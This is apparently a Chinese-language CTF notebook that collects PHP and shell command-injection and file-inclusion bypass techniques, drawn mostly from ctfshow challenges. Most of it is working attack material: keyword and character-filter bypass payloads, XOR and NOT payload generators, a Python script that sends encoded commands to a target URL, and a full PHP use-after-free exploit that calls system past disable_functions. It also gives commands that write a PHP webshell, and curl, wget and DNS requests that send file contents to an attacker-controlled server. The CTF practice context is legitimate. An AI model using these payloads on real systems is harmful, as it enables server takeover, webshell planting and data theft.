前言:
本文用于积累平时做题中遇到的命令执行题目的解法,有许多解题方法都是直接用的各位师傅的wp或总结中的解法,并且遇到了没有记录的方法会随时添加。
因为此部分内容太多,如有写的不好的地方请指正。
文章目录
- 前言:
- 一,命令执行
- 0x01 过滤cat,flag等关键词
- 0x02 过滤空格
- 0x03 过滤目录分隔符 /
- 0x04 过滤分隔符 | & ;
- 0x05 字符串长度受限
- 0x06 无回显
- 0x07 Perl中open命令执行(GET)
- 0x08 无数字字母getshell
- 0x09 过滤括号
- 0x10 无参数RCE
- 0x11 内敛执行(常用)
- 0x12 open_basedir绕过
- 0x13 disable_function绕过
- 0x14 通配符+绝对路径调用命令
- 0x15 grep绕过关键词过滤
- 0x16 使用~$()构造数字
- 0x17 uaf脚本绕过disable_function
- 0x18 disable_funcitons全通payload
- 0x19 利用php内置类rce
- 0x20 $PATH环境变量绕过
- 二,文件包含
- 三,实战中一些RCE的方法
- 四,其他大佬总结
一,命令执行
0x01 过滤cat,flag等关键词
1,代替
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
2,使用转义符
ca\t /fl\ag
cat fl''ag
3,内联执行绕过
拼接flag
1;a=fl;b=ag.php;cat$IFS$a$b
(假设该目录下有index.php和flag.php)
cat `ls`
等同于-->
cat flag.php;cat index.php
4,变量绕过
a=c;b=a;c=t;
$a$b$c 1.txt
5,编码进制绕过
[root~]# echo 'cat' | base64
Y2F0wqAK
[root~]# `echo 'Y2F0wqAK' | base64 -d` 1.txt
hello world
16进制
8进制
6,过滤文件名绕过(例如过滤/etc/passwd文件)
1) 利用正则匹配绕过
[root~]# cat /???/pass*
2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过
[root~]# cat /etc$u/passwd
备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)
7,命令执行函数system()绕过
-
“\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);
-
(sy.(st).em)(whoami);
-
使用内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
8,使用$*
和$@
,$x
,${x}
注:因为在没有传参的情况下,上面的特殊变量都是为空的
9,读取文件骚姿势
curl file:///flag
strings /flag
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd
dir与ls的升级版
find -- 列出当前目录下的文件以及子目录所有文件
0x02 过滤空格
- %09(url传递)(
cat%09flag.php
) - ${IFS}
- $IFS$9
- <>(
cat<>/flag
) - <(
cat</flag
) - {cat,flag}
例;
0x03 过滤目录分隔符 /
例:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
采用多个管道命令即可
;cd flag_is_here;cat *
0x04 过滤分隔符 | & ;
1,可以使用%0a
代替,%0a其实在某种程度上是最标准的命令链接符号
功能 | 符号 | payload |
---|---|---|
换行符 | %0a | ?cmd=123%0als |
回车符 | %0d | ?cmd=123%0dls |
连续指令 | ; | ?1=123;pwd |
后台进程 | & | ?1=123&pwd |
管道 | | | ?1=123|pwd |
逻辑运算 | ||或&& | ?1=123&&pwd |
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
2,?>
代替;
在php中可以用?>
来代替最后一个;
因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
例题:ctfshow-web入门36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这道题过滤了分号,直接用?>来代替分号
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
0x05 字符串长度受限
https://www.anquanke.com/post/id/87203
root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/桌面# ls -t >a #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found
\
是指换行
ls -t
将文件按时间排序输出
sh
命令可以从一个文件中读取命令来执行
0x06 无回显
一,shell_exec等无回显函数。
判断:
ls;sleep(3)
利用:
1,复制,压缩,写shell等方法
copy flag.php 1.txt
mv flag.php flag.txt
cat flag.php > flag.txt
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
然后访问1.txt等对应生成的文件,例:
2、在vps上建立记录脚本
在自己的公网服务器站点根目录写入php文件,内容如下:
record.php
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>
在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
3,通过http请求/dns请求等方式带出数据
利用:
curl `命令`.域名
例:
#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`
#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io
更多方法参考:https://blog.csdn.net/qq_43625917/article/details/107873787
4,linux tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
用法:
tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出
二,>/dev/null 2>&1类无回显
例题:ctfshow-web入门42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
>/dev/null 2>&1主要意思是不进行回显的意思
进行命令分隔即可
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
payload:
cat flag.php||
cat flag.php;
0x07 Perl中open命令执行(GET)
https://blog.csdn.net/qq_44657899/article/details/107720578
0x08 无数字字母getshell
思路:取反 ~,异或 ^,或运算 |
羽大佬的总结:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
一、取反:~
$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=system&___=cat flag.php
$_=~%A0%B8%BA%AB;${$_}[_](${$_}[__]);&_=system&__=dir
$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST['a']);//蚁剑连接
用php生成;
<?php
$code = "_GET";
echo urlencode(~$code);
?>
二、异或:
php(代码用空格隔开):
//Author: 颖奇L'Amore
<?php
$flag = "s y s t e m";
$arr = explode(' ', $flag);
foreach ($arr as $key => $value) {
echo "%".dechex(ord($value)^0xff);
}
echo "^";
foreach ($arr as $key => $value) {
echo "%ff";
}
?>
不可见字符异或(php)
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo
用python
#Author: piCEBDC7
str_= 'system'
str_=list(str_)
final=''
for x in str_:
print(hex(~ord(x)&0xff))
final+=hex(~ord(x)&0xff)
print(str_)
final = final.replace('0x','%')
final+='^'
for x in range(len(str_)):
final+=r'%ff'
print(final)
不可见字符异或(python3)
payload="phpinfo"
allowed="ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~!#%*+-/:;<=>?@"# no ()
reth=""
rett=""
for c in payload:
flag=False
for i in allowed:
if flag == False:
for j in allowed:
if ord(i)^ord(j)==ord(c):
#print("i=%s j=%s c=%s"%(i,j,c))
reth=reth+"%"+str(hex(ord(i)))[2:]
rett=rett+"%"+str(hex(ord(j)))[2:]
flag=True
break
ret=reth+"^"+rett
print(ret)
三、或运算:
示例:ctfshow-web41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
题解:https://wp.ctf.show/d/137-ctfshow-web-web41
脚本:
import re
import requests
import urllib
from sys import *
import os
content = ''
preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'
for i in range(256):
for j in range(256):
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
k = i | j
if k>=32 and k<=126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
content += (chr(k) + ' '+ a + ' ' + b + '\n')
f = open('rce_or.txt', 'w')
f.write(content)
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
使用方法:
python3 exp.py 题目地址
0x09 过滤括号
使用不需要括号的函数
- echo
echo `cat /flag`
- require
require '/flag'
include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
2,不需要引号和空格
#<?=require~~flag.txt?>
<?=require~%d0%99%93%9e%98?>
0x10 无参数RCE
更多无参数rce方法:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
读取目录:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
注:pos(localeconv())等于.
读取flag文件:
print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
0x11 内敛执行(常用)
常用payload:
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
将``或$()内命令的输出作为输入执行
0x12 open_basedir绕过
单独写了一篇文章:Bypass open_basedir
0x13 disable_function绕过
单独写了一篇文章:Bypass disable_function
0x14 通配符+绝对路径调用命令
原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。如图:
一些常用工具所在目录:
/bin/cat
/bin/base64 flag.php
:base64编码flag.php的内容。
/usr/bin/bzip2 flag.php
:将flag.php文件进行压缩,然后再将其下载。
… … 等等
例题:ctfshow-web入门55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。
payload1:
/???/????64 ????.??? #/bin/base64 flag.php
payload2:
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php
然后下载flag.php.bz2
0x15 grep绕过关键词过滤
用法:
grep { flag.php
grep { f???????
打印flag.php
中含有{
的行。
例题:ctfshow-web入门54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。
payload:
grep${IFS}f${IFS}fla?.php
打印flag.php
中有f
的行
0x16 使用~$()构造数字
例题:ctfshow-web入门57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
需要传数字36进去,但是过滤了数字。
$(())=0
$((~$(())))=-1
构造过程:
于是payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
0x17 uaf脚本绕过disable_function
例题:ctfshow-web入门72
题目进去就是这样的:
好家伙,题目源码里的函数都禁用了,代码都显示不出来
给了源码文件如下:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
这道题有严格的disable_function限制和open_basedir限制。
先利用glob://伪协议绕过open_basedir,发现根目录下有flag0.txt
payload:
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
然后用uaf脚本读取flag。
disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行,原理是啥我也很懵。
脚本如下:
最后输入要执行的命令即可。
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
0x18 disable_funcitons全通payload
该方法使用php类来绕过,可以配置disable_classes来禁用类。
读目录
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
读文件
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}
注:必须要有PDO拓展,里面的连接数据根据情况进行更改。
该方法来自:https://wp.ctf.show/d/142-ctfshow-web-web90-97
0x19 利用php内置类rce
一, 利用 FilesystemIterator 获取指定目录下的所有文件
例题:ctfshow-web110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
payload:
?v1=FilesystemIterator&v2=getcwd
二,使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce
例题:ctfshow-web109
<?php
highlight_file(__FILE__);
error_reorting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
payload:
?v1=Exception&v2=system('cat *')
?v1=Reflectionclass&v2=system('cat *')
0x20 $PATH环境变量绕过
第一种,可以使用大写字母数字和{}
可以使用环境变量来绕过,$PATH
环境变量截取字母
第二种,可以使用大写字母和{}
我们先来看看ls怎么构造,在上一个方法中,ls为${PATH:5:1}${PATH:11:1}
,但是数字被过滤了,我们可以用环境变量的长度来代替数字,例如我们最熟悉的$PATH的长度为88
那么找到环境变量长度值为5和11的就可以构造ls了,我们用如下脚本来寻找长度为5和11的环境变量。注:最后grep 5就是找长度为5的变量
for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5
这里找到了三个,我们随便用一个,比如$TERM环境变量
同理,我找到了SHLVL
环境变量的长度为1,LANG
的长度为11,成功构造出了l
最后ls构造如下
${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}
成功执行ls命令
但是我这里的环境变量和题目环境的不一样所以执行失败,因为题解的payload为,${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}
构造出来是nl,但是我这里为ll
换个环境再试试吧
二,文件包含
0x01 php://input(远程包含)
例题:
题解
0x02 php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter/convert.base64-encode/resource=flflflflag.php
0x03 data://
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://text/plain;base64
读php文件源码:
data:text/plain,<?php system('cat /flag');?>
或者命令执行:
data:text/plain,<?php system('whoami');?>
0x04 zip://,bzip2://,zlib://,phar://
这些没怎么用到过,记得可以用在文件上传上面,把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件。
payload如下:
index.php?file=phar://uploads/ok.zip/ok.php
这道题也可以用到这个协议
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
?file=compress.zlib://flag.php
0x05 file伪协议
?url=file:///var/www/html/flag.php
0x06 固定后缀包含 include($c.“.php”);
例题:ctfshow-web39
payload1:使用data协议
c=data:text/plain,<?php system('cat *');?>
0x07 利用session.upload_progress进行文件包含
单独写了一篇博客:利用session.upload_progress进行文件包含
0x08 php://filter的过滤器大全
0x09 日志包含
以ctfshow中一题为例:
先读取日志文件,发现可以读取
file=/var/log/nginx/access.log
然后尝试让日志包含一句话。(看日志里记录了什么信息,然后更改对应信息来写入)
接下来抓包修改UA中的内容
0x10 require+get_defined_vars包含任意文件
原理:通过get_defined_vars()
数组获取到这个伪协议放到 require() 里包含
index.php
<?php
echo get_defined_vars()[_GET][rce];
echo "<br>";
require(get_defined_vars()[_GET][rce]);
?>
然后传参rce值php://filter/convert.base64-encode/resource=flag.php
http://127.0.0.1/?rce=php://filter/convert.base64-encode/resource=flag.php
三,实战中一些RCE的方法
这篇文章感觉思路很全,可以参考一下
四,其他大佬总结
万一有没记录到的方法看看其他大佬的